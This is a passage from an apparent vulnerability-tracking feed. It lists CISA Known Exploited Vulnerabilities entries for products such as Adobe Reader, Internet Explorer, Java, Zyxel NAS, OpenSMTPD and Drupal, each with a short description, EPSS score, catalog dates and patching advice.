EPSS 39.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3660&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-3660: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3660&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Reader and Acrobat Arbitrary Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2013-2729
Adobe Reader and Acrobat Arbitrary Integer Overflow Vulnerability (Mar 28, 2022).
Integer overflow vulnerability in Adobe Reader and Acrobat allows attackers to execute remote code.
EPSS 66.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2729&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-2729: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2729&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2013-2551
Microsoft Internet Explorer Use-After-Free Vulnerability (Mar 28, 2022).
Use-after-free vulnerability in Microsoft Internet Explorer allows remote attackers to execute remote code via a crafted web site that triggers access to a deleted object.
EPSS 73.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2551&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-2551: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2551&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Java SE Unspecified Vulnerability
https://kevwire.com/record/CVE-2013-2465
Oracle Java SE Unspecified Vulnerability (Mar 28, 2022).
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE allows remote attackers to affect confidentiality, integrity, and availability via Unknown vectors related to 2D
EPSS 98.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2465&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-2465: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2465&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mozilla Firefox and Thunderbird Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2013-1690
Mozilla Firefox and Thunderbird Denial-of-Service Vulnerability (Mar 28, 2022).
Mozilla Firefox and Thunderbird do not properly handle onreadystatechange events in conjunction with page reloading, which allows remote attackers to cause a denial-of-service (DoS) or possibly execute malicious code via a crafted web site.
EPSS 69.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-1690&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-1690: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-1690&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Java SE Sandbox Bypass Vulnerability
https://kevwire.com/record/CVE-2012-5076
Oracle Java SE Sandbox Bypass Vulnerability (Mar 28, 2022).
The default Java security properties configuration did not restrict access to the com.sun.org.glassfish.external and com.sun.org.glassfish.gmbal packages. An untrusted Java application or applet could use these flaws to bypass Java sandbox restrictions.
EPSS 91.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-5076&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-5076: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-5076&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Word Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2012-2539
Microsoft Word Remote Code Execution Vulnerability (Mar 28, 2022).
Microsoft Word allows attackers to execute remote code or cause a denial-of-service (DoS) via crafted RTF data.
EPSS 53.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-2539&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-2539: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-2539&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2012-2034
Adobe Flash Player Memory Corruption Vulnerability (Mar 28, 2022).
Adobe Flash Player contains a memory corruption vulnerability that allows for remote code execution or denial-of-service (DoS).
EPSS 7.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-2034&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-2034: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-2034&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Fusion Middleware Unspecified Vulnerability
https://kevwire.com/record/CVE-2012-0518
Oracle Fusion Middleware Unspecified Vulnerability (Mar 28, 2022).
Unspecified vulnerability in the Oracle Application Server Single Sign-On component in Oracle Fusion Middleware allows remote attackers to affect integrity via Unknown vectors
EPSS 4.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-0518&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-0518: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-0518&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Ancillary Function Driver (afd.sys) Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2011-2005
Microsoft Ancillary Function Driver (afd.sys) Improper Input Validation Vulnerability (Mar 28, 2022).
afd.sys in the Ancillary Function Driver in Microsoft Windows does not properly validate user-mode input passed to kernel mode, which allows local users to gain privileges via a crafted application.
EPSS 31.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-2005&date=2026-10-25).
Sources:
CISA KEV entry CVE-2011-2005: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-2005&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Stack-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2010-4398
Microsoft Windows Kernel Stack-Based Buffer Overflow Vulnerability (Mar 28, 2022).
Stack-based buffer overflow in the RtlQueryRegistryValues function in win32k.sys in Microsoft Windows allows local users to gain privileges, and bypass the User Account Control (UAC) feature.
EPSS 8.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-4398&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-4398: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-4398&date=2026-10-25
CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 28, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WatchGuard Firebox and XTM Appliances Arbitrary Code Execution
https://kevwire.com/record/CVE-2022-26318
WatchGuard Firebox and XTM Appliances Arbitrary Code Execution (Mar 25, 2022).
On WatchGuard Firebox and XTM appliances, an unauthenticated user can execute arbitrary code.
EPSS 78.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26318&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26318: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26318&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### MiCollab, MiVoice Business Express Access Control Vulnerability
https://kevwire.com/record/CVE-2022-26143
MiCollab, MiVoice Business Express Access Control Vulnerability (Mar 25, 2022).
A vulnerability has been identified in MiCollab and MiVoice Business Express that may allow a malicious actor to gain unauthorized access to sensitive information and services, cause performance degradations or a denial of service condition on the affected system.
EPSS 87.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26143&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26143: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26143&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Print Spooler Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-21999
Microsoft Windows Print Spooler Privilege Escalation Vulnerability (Mar 25, 2022).
Microsoft Windows Print Spooler contains an unspecified vulnerability which can allow for privilege escalation.
EPSS 41.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-21999&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-21999: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-21999&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sitecore XP Remote Command Execution Vulnerability
https://kevwire.com/record/CVE-2021-42237
Sitecore XP Remote Command Execution Vulnerability (Mar 25, 2022).
Sitcore XP contains an insecure deserialization vulnerability which can allow for remote code execution.
EPSS 97.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-42237&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-42237: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-42237&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix ShareFile Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2021-22941
Citrix ShareFile Improper Access Control Vulnerability (Mar 25, 2022).
Improper Access Control in Citrix ShareFile storage zones controller may allow an unauthenticated attacker to remotely compromise the storage zones controller.
EPSS 53.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22941&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22941: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22941&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DIR-610 Devices Remote Command Execution
https://kevwire.com/record/CVE-2020-9377
D-Link DIR-610 Devices Remote Command Execution (Mar 25, 2022).
D-Link DIR-610 devices allow remote code execution via the cmd parameter to command.php.
EPSS 21.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-9377&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-9377: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-9377&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zyxel Multiple NAS Devices OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2020-9054
Zyxel Multiple NAS Devices OS Command Injection Vulnerability (Mar 25, 2022).
Multiple Zyxel network-attached storage (NAS) devices contain a pre-authentication command injection vulnerability, which may allow a remote, unauthenticated attacker to execute arbitrary code.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-9054&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-9054: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-9054&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### OpenSMTPD Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-7247
OpenSMTPD Remote Code Execution Vulnerability (Mar 25, 2022).
smtp_mailaddr in smtp_session.c in OpenSMTPD, as used in OpenBSD and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session.
EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-7247&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-7247: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-7247&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware Tanzu Spring Cloud Config Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2020-5410
VMware Tanzu Spring Cloud Config Directory Traversal Vulnerability (Mar 25, 2022).
Spring, by VMware Tanzu, Cloud Config contains a path traversal vulnerability that allows applications to serve arbitrary configuration files.
EPSS 95.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-5410&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-5410: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-5410&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sophos SG UTM Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-25223
Sophos SG UTM Remote Code Execution Vulnerability (Mar 25, 2022).
A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM.
EPSS 96.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-25223&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-25223: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-25223&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### QNAP Systems Helpdesk: QNAP Helpdesk Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2020-2506
QNAP Systems Helpdesk: QNAP Helpdesk Improper Access Control Vulnerability (Mar 25, 2022).
QNAP Helpdesk contains an improper access control vulnerability which could allow an attacker to gain privileges or to read sensitive information.
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-2506&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-2506: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-2506&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks PAN-OS Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2020-2021
Palo Alto Networks PAN-OS Authentication Bypass Vulnerability (Mar 25, 2022).
Palo Alto Networks PAN-OS contains a vulnerability in SAML which allows an attacker to bypass authentication.
EPSS 4.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-2021&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-2021: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-2021&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Kylin OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2020-1956
Apache Kylin OS Command Injection Vulnerability (Mar 25, 2022).
Apache Kylin contains an OS command injection vulnerability which could permit an attacker to perform remote code execution.
EPSS 97.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1956&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-1956: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1956&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Juniper Junos OS Path Traversal Vulnerability
https://kevwire.com/record/CVE-2020-1631
Juniper Junos OS Path Traversal Vulnerability (Mar 25, 2022).
A path traversal vulnerability in the HTTP/HTTPS service used by J-Web, Web Authentication, Dynamic-VPN (DVPN), Firewall Authentication Pass-Through with Web-Redirect, and Zero Touch Provisioning (ZTP) allows an unauthenticated attacker to perform remote code execution.
EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1631&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-1631: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1631&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Drupal Core Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-6340
Drupal Core Remote Code Execution Vulnerability (Mar 25, 2022).
In Drupal Core, some field types do not properly sanitize data from non-form sources. This can lead to arbitrary PHP code execution in some cases.
EPSS 92.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-6340&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-6340: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-6340&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle BI Publisher Unauthorized Access Vulnerability
https://kevwire.com/record/CVE-2019-2616
Oracle BI Publisher Unauthorized Access Vulnerability (Mar 25, 2022).
Oracle BI Publisher, formerly XML Publisher, contains an unspecified vulnerability that allows for various unauthorized actions. Open-source reporting attributes this vulnerability to allowing for authentication bypass.
EPSS 92.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-2616&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-2616: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-2616&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link Multiple Routers Command Injection Vulnerability
